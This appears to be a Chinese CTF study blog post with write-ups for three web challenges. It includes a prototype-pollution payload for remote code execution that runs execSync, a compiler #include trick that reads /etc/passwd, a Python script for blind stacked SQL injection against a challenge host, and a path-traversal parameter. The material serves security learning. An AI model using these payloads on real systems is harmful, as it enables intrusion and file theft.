IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> 寒假学习01 -> 正文阅读

[JavaScript知识库]寒假学习01

作者:color:#fe2c24;

[GYCTF2020]Ez_Express

F12有提示

下载下来根据提示

在代码中找到

?在登录中会的过滤admin但是会小写字母转换为大写字母

利用toUpperCase实现伪造ADMIN登录

在Character.toUpperCase()函数中,字符?会转变为I,字符?会变为S。
在Character.toLowerCase()函数中,字符?会转变为i,字符?会转变为k。

?登录成功之后

?就是/action路由里面的

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到就将提交的数据交给clone处理

const clone = (a) => {
  return merge({}, a);
}//很明显的原型链污染

-----------------------------------------------------------------------

知识点??????

这两位师傅讲的已经很清楚了

初探JavaScript原型链污染 - Escape-w - 博客园 (cnblogs.com)

Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog

-----------------------------------------------------------------------

最后payload

{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

[FireshellCTF2020]Caas

打开是一个编译器

之后会下载一个文件,不太明白什么意思

尝试利用c 语言看看能不能打开文件

看了WP才知道flag应该是以文件形式存在服务器中,要尝试使用#include ''预处理编译报错

尝试包含文件/etc/passwd,构造代码:

#include "/etc/passwd"
#include "/flag"

?得到flag

[SWPU2019]Web4

点登陆没反应,注册提示未开发,猜测sql注入

?单引号报错,加;之后成功

参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。

利用MySql预处理

在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE:执行命令
DEALLOCATE PREPARE:释放命令
SET:用于设置变量
这里贴一个师傅写的脚本

#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

结果glzjin_wants_a_girl_friend.zip可以下载到源码。代码审计

经过观察发现在

BaseController.php中有任意变量覆盖

?继续观察只有在

UserController.php里面可以改变

?

?观察userIndex.php

?在这里我们可以将img_file修改为/../flag.php

?还需要注意一点需要将r赋值为User/index

?才能进入图片显示

payload:
?r=User/Index&img_file=/../flag.php

  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2022-01-17 11:25:24  更:2022-01-17 11:27:19 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:23:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码